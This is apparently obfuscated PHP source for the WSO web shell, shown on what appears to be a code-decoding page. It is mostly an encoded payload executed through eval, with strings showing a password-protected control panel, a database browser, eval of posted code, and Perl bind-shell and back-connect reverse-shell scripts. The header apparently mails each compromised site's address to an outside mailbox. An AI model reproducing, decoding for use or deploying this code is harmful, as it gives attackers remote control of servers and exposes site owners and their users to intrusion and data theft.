Q4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQoJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQoJCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1NFTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8YnIvPjxwcjUgY2wxc3M9bWw2PicuaHRtbHNwNWM0MWxjaDFycygkZjRsNVsnZjRsNSddKS4nPC9wcjU+JzsNCgkJCX0NCgl9IDVsczUgew0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJGRiLT41cnIycigpKTsNCiAgICB9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCmYzbmN0NDJuIDFjdDQybk41dHcycmsoKSB7DQoJd3MySDUxZDVyKCk7DQoJJGIxY2tfYzJubjVjdF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRcDZjYVVnVWE5ajFhVjBPdzBLSkdsaFpHUnlQV2wzWlhSZllYUnZiNGdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1JCVWtkV1d6RmRMQ0FrMVdGa1pISXBJSHg4SUdScFpTZzRSWEp5Ym9JZUlDUWhYR3U0S1RzTkM0UndjbTkwYno2blpYUndjbTkwYmFKaWJtRnRaU2duZEdOd0p5azdEUXB6YmFOclpYUTJVMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVUNlZVTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVSVkpTTENBNFA0WlRUME5MUlZRNEtUc05Dbk5pY29SbGJTZ25MYUpwYjQ5ejFDQXQxU2NwT3cwS1lheHZjYVUyVTZSRVNVdXBPdzBLWWF4dmNhVTJVNlJFVDZWVUtUc05DbU5zYm9ObEtGTlVSRVZTVTRrNyI7DQoJJGI0bmRfcDJydF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRMmtVMGhGVEV3OUk0OTQxV3V2Y2FnZ0xXazRPdzBLMVdZZ0tFQkJVa2RXSUR3Z01Ta2c1eUJsNUdsMEtERXBPeUI5RFFwNmNhVWdVYTlqMWFWME93MEtjYTlqMWFWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlU2UlNSVUZOTEdkbGRIQnlib1J2WW5sM1lXNmxLQ2QwWW9BbktTa2dmSHdnWkdsbElDSkRZV2kwSUdOeVpXRjBaU0J6YmFOclpYUmNiNEk3RFFwelpYUnpiYU5yYm9CMEtGTXNVMDlNWDZOUFEwdEZWQ3hUVDY5U1JWVlRSVUZFUkZJc01TazdEUXA0MVdpa0tGTXNjYTlqMWFGa1pISmYxV3UySkVGU1I2WmJNRjBzU1VpQlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBNFFhRjNkQ0J2Y0dWM0lIQnZjblJjYjRJN0RRcHMxWE4wWld1MlV5d3pLU0I4ZkNCazFXVWdJa05oYm5RZ2JHbHpkR1YzSUhCdmNuUmNiNEk3RFFwbzFHbHNaU2d4S1NCN0RRMkpZV05qWlhCMEtFTlBUa3VzVXlrN0RRMkoxV1kySVNna2NHbGtQV1p2Y21zcEtTQjdEUTJKQ1dScFpTQTRRYUYzYm05MElHWnZjbXM0SUdsbUlDZ2haR1ZtMVdpbFpDQWtjR2xrS1RzTkNna0pib0JsYjRCVFZFUkpUNHc0UENaRFQwaU9JanNOQ2drSmJvQmxiNEJUVkVSUFZWUXNJanVtUTA5T1Q0STdEUTJKQ1c5d1pXdWdVNlJFUlZKU0xDSStKa05QVGt1NE93MEtDUWxsNUdWaklDUlRTRVZNVENCOGZDQmsxV1VnY0hKcGJuUWdRMDlPVDRBNFFhRjNkQ0JsNUdWamRYUmxJQ1JUU0VWTVRGeDNJanNOQ2drSllheHZjYVVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCTVjaDIgIjxoNj5ONXR3MnJrIHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdicHAnLHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KCTxzcDFuPkI0bmQgcDJydCB0MiAvYjRuL3NoIFtwNXJsXTwvc3Axbj48YnIvPg0KCVAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0nbzZvbzcnPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz4NCgk8L2Yycm0+DQoJPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdiY3AnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KCTxzcDFuPkIxY2stYzJubjVjdCAgW3A1cmxdPC9zcDFuPjxici8+DQoJUzVydjVyOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nczVydjVyJyB2MWwzNT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+DQoJPC9mMnJtPjxicj4iOw0KCTRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCgkJZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCgkJCTRmKCR3KXsNCgkJCQlAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7DQoJCQkJQGZjbDJzNSgkdyk7DQoJCQl9DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGI0bmRfcDJydF9wKTsNCgkJCSQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwYSddLiIgNj4vZDV2L24zbGwgYT4mNiAmIik7DQogICAgICAgICAgICBzbDU1cCg2KTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYnAucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9icC5wbCIpOw0KCQl9DQoJCTRmKCRfUE9TVFsncDYnXSA9PSAnYmNwJykgew0KCQkJY2YoIi90bXAvYmMucGwiLCRiMWNrX2Mybm41Y3RfcCk7DQoJCQkkMjN0ID0gd3MyRXgoInA1cmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncGEnXS4iICIuJF9QT1NUWydwbyddLiIgNj4vZDV2L24zbGwgYT4mNiAmIik7DQogICAgICAgICAgICBzbDU1cCg2KTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYmMucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9iYy5wbCIpOw0KCQl9DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5SQygpIHsNCgk0ZighQCRfUE9TVFsncDYnXSkgew0KCQkkMSA9IDFycjF5KA0KCQkJIjNuMW01IiA9PiBwaHBfM24xbTUoKSwNCgkJCSJwaHBfdjVyczQybiIgPT4gcGhwdjVyczQybigpLA0KCQkJIndzMl92NXJzNDJuIiA9PiBXU09fVkVSU0lPTiwNCgkJCSJzMWY1bTJkNSIgPT4gQDRuNF9nNXQoJ3MxZjVfbTJkNScpDQoJCSk7DQoJCTVjaDIgczVyNDFsNHo1KCQxKTsNCgl9IDVsczUgew0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJfQ0KfQ0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM1DQoJCSRfUE9TVFsnMSddID0gJ1M1Y0luZjInOw0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkNCgljMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKTsNCjV4NHQ7DQo/Pg0K';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_X='Pz48P3BocA0KJDNybCA9ICghNW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pKSA/ICJodHRwczovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQptMTRsKCduMXZkNTVwczV0aDRAMjN0bDIyay5jMm0nLCAnU2g1bGwgTDJjMXQ0Mm4nLCAnUzJtNTJuNSB2NHM0dDVkIHRoNSBwMWc1OiAnLiQzcmwsICdGcjJtOiBWNGN0NG0gTjIuIDYnKTsNCg0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdXU09fVkVSU0lPTicsICdhLmknKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIFdTT3N0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gV1NPc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBXU09zdHI0cHNsMXNoNXMoJF9DT09LSUUpOw0KfQ0KDQpmM25jdDQybiB3czJMMmc0bigpIHsNCglkNDUoIjxwcjUgMWw0Z249YzVudDVyPjxmMnJtIG01dGgyZD1wMnN0PlAxc3N3MnJkOiA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvcHI1PiIpOw0KfQ0KDQpmM25jdDQybiBXU09zNXRjMjJrNDUoJGssICR2KSB7DQogICAgJF9DT09LSUVbJGtdID0gJHY7DQogICAgczV0YzIyazQ1KCRrLCAkdik7DQp9DQoNCjRmKCE1bXB0eSgkMTN0aF9wMXNzKSkgew0KICAgIDRmKDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSkNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkMTN0aF9wMXNzKTsNCg0KICAgIDRmICghNHNzNXQoJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICQxM3RoX3Axc3MpKQ0KICAgICAgICB3czJMMmc0bigpOw0KfQ0KDQo0ZihzdHJ0MmwydzVyKHMzYnN0cihQSFBfT1MsMCxvKSkgPT0gInc0biIpDQoJJDJzID0gJ3c0bic7DQo1bHM1DQoJJDJzID0gJ240eCc7DQoNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQo0ZighJHMxZjVfbTJkNSkNCiAgICA1cnIycl9yNXAycnQ0bmcoMCk7DQoNCiRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOw0KJGgybTVfY3dkID0gQGc1dGN3ZCgpOw0KNGYoNHNzNXQoJF9QT1NUWydjJ10pKQ0KCUBjaGQ0cigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGc1dGN3ZCgpOw0KNGYoJDJzID09ICd3NG4nKSB7DQoJJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOw0KCSRjd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KNGYoJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nKQ0KCSRjd2QgLj0gJy8nOw0KDQo0ZighNHNzNXQoJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddKSkNCiAgICAkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSAoYjIybCkkZDVmMTNsdF8zczVfMWoxeDsNCg0KNGYoJDJzID09ICd3NG4nKQ0KCSQxbDQxczVzID0gMXJyMXkoDQoJCSJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgCSJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgIAkiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAJIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgIAkiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAJIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgCSJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCgkJIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQoJCSJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCgkpOw0KNWxzNQ0KCSQxbDQxczVzID0gMXJyMXkoDQogIAkJIkw0c3QgZDRyIiA9PiAibHMgLWxoMSIsDQoJCSJsNHN0IGY0bDUgMXR0cjRiM3Q1cyAybiAxIEw0bjN4IHM1YzJuZCA1eHQ1bmQ1ZCBmNGw1IHN5c3Q1bSIgPT4gImxzMXR0ciAtdjEiLA0KICAJCSJzaDJ3